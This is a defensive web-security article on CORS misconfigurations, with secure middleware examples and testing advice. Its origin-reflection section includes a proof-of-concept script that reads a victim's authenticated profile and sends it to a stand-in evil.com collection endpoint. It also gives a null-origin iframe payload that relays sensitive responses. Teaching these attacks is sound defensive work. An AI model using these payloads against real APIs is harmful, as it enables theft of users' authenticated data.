What Is CORS and Why Does It Matter?
The Same-Origin Policy (SOP) prevents web pages from making requests to a different origin (scheme + hostname + port) and reading the responses. Without it, any website could silently read your authenticated bank balance, email, or private data using the victim’s active session.
CORS (Cross-Origin Resource Sharing) is the mechanism by which servers opt out of SOP restrictions for specific trusted origins. A server can say: “I allow javascript.com to read my responses.” The browser enforces this based on Access-Control-Allow-Origin and related headers in the server’s response.
The problem: most CORS implementations in production are either overly permissive from day one or become permissive as developers add exceptions to solve integration problems.
Vulnerability Classes
1. Wildcard Origin with Credentials
The most dangerous configuration — and the one that should be immediately obvious to any reviewer:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Per the CORS specification, a wildcard origin cannot be combined with Allow-Credentials: true. Browsers refuse this combination. However, developers who add * to silence CORS errors and then separately add the credentials header are likely also reflecting the actual origin instead — creating a misconfiguration that is exploitable even though the specific headers above would be rejected by browsers.
2. Origin Reflection
The most common real-world misconfiguration. The server reflects whatever Origin header the request sends back in Access-Control-Allow-Origin, without validating it against an allowlist:
Vulnerable code (Node.js/Express):
// VULNERABLE: reflects any origin unconditionally
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
Attack scenario:
<!-- Attacker hosts this on evil.com -->
<script>
fetch('https://api.target.com/account/profile', {
credentials: 'include' // sends victim's session cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
When the victim visits evil.com while authenticated to api.target.com, the attacker can read the victim’s account data, tokens, and any other authenticated API response.
3. Subdomain and Suffix Matching Errors
Many implementations attempt an allowlist but implement it incorrectly:
# VULNERABLE: suffix match instead of exact domain match
def is_allowed_origin(origin):
return origin.endswith('.trusted.com')
# Bypassed by: https://evil-trusted.com
# Bypassed by: https://trusted.com.evil.com
# CORRECT: exact match against allowlist
ALLOWED_ORIGINS = {
'https://app.trusted.com',
'https://api.trusted.com',
'https://trusted.com',
}
def is_allowed_origin(origin):
return origin in ALLOWED_ORIGINS
4. Null Origin Acceptance
Some servers explicitly trust the null origin to handle local file access or certain redirect scenarios:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
The null origin can be triggered by attacker-controlled content via sandboxed iframes:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc='<script>
fetch("https://api.target.com/sensitive", {credentials: "include"})
.then(r => r.text())
.then(d => window.top.postMessage(d, "*"));
</script>'>
</iframe>
5. Pre-flight Misconfiguration
CORS preflight (OPTIONS) requests check permissions before the actual request. Servers that return permissive headers only on preflight but restrict actual responses cause confusion — and vice versa. Inconsistent handling between OPTIONS and the actual request method creates edge cases that may be exploitable depending on the browser.
Secure Implementation
Exact-match allowlist (Go)
var allowedOrigins = map[string]bool{
"https://app.example.com": true,
"https://admin.example.com": true,
}
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
// Vary header tells caches that response differs by Origin
w.Header().Add("Vary", "Origin")
}
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
Exact-match allowlist (Python/FastAPI)
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
ALLOWED_ORIGINS = [
"https://app.example.com",
"https://admin.example.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # Explicit list, never "*"
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Content-Type", "Authorization"],
)
The Vary: Origin Header
Always include Vary: Origin in responses where CORS headers differ by origin. Without it, a caching proxy might serve a response with one origin’s CORS headers to a different origin’s request, potentially leaking access.
Testing CORS Configuration
Manual test: Send a request with a crafted Origin header and check the response:
# Test 1: Does the server reflect arbitrary origins?
curl -H "Origin: https://evil.com" \
-H "Cookie: session=your-session-token" \
-v https://api.target.com/api/profile 2>&1 | grep -i "access-control"
# Test 2: Does it accept null origin?
curl -H "Origin: null" \
-v https://api.target.com/api/profile 2>&1 | grep -i "access-control"
# Test 3: Subdomain bypass attempt
curl -H "Origin: https://trusted.com.evil.com" \
-v https://api.target.com/api/profile 2>&1 | grep -i "access-control"
Automated: OWASP ZAP’s active scanner and Burp Suite’s CORS Scanner extension cover the main patterns. Include CORS testing in your CI/CD pipeline for any API endpoint that sets Access-Control headers.
Common Framework Pitfalls
| Framework | Common Mistake |
|---|---|
| Express (cors package) | origin: true reflects any origin |
| Django CORS Headers | CORS_ORIGIN_ALLOW_ALL = True without understanding credentials interaction |
| Spring Boot | @CrossOrigin without explicit origins attribute defaults to reflective |
| .NET Core | Using AllowAnyOrigin() combined with AllowCredentials() — rejects at runtime but developers often “fix” it by reflecting |
Impact Summarised
A single CORS misconfiguration on an authenticated API endpoint enables:
- Reading authenticated user data without credential theft
- Exfiltrating CSRF tokens (enabling CSRF attacks even on CSRF-protected endpoints)
- Reading internal API responses if the misconfigured endpoint is in an internal-facing service
- Account takeover if session tokens or OAuth codes are returned in API responses
CORS vulnerabilities are consistently underrated in internal risk assessments because the attack requires luring a victim to an attacker-controlled page — but that’s precisely what phishing and malvertising accomplish daily.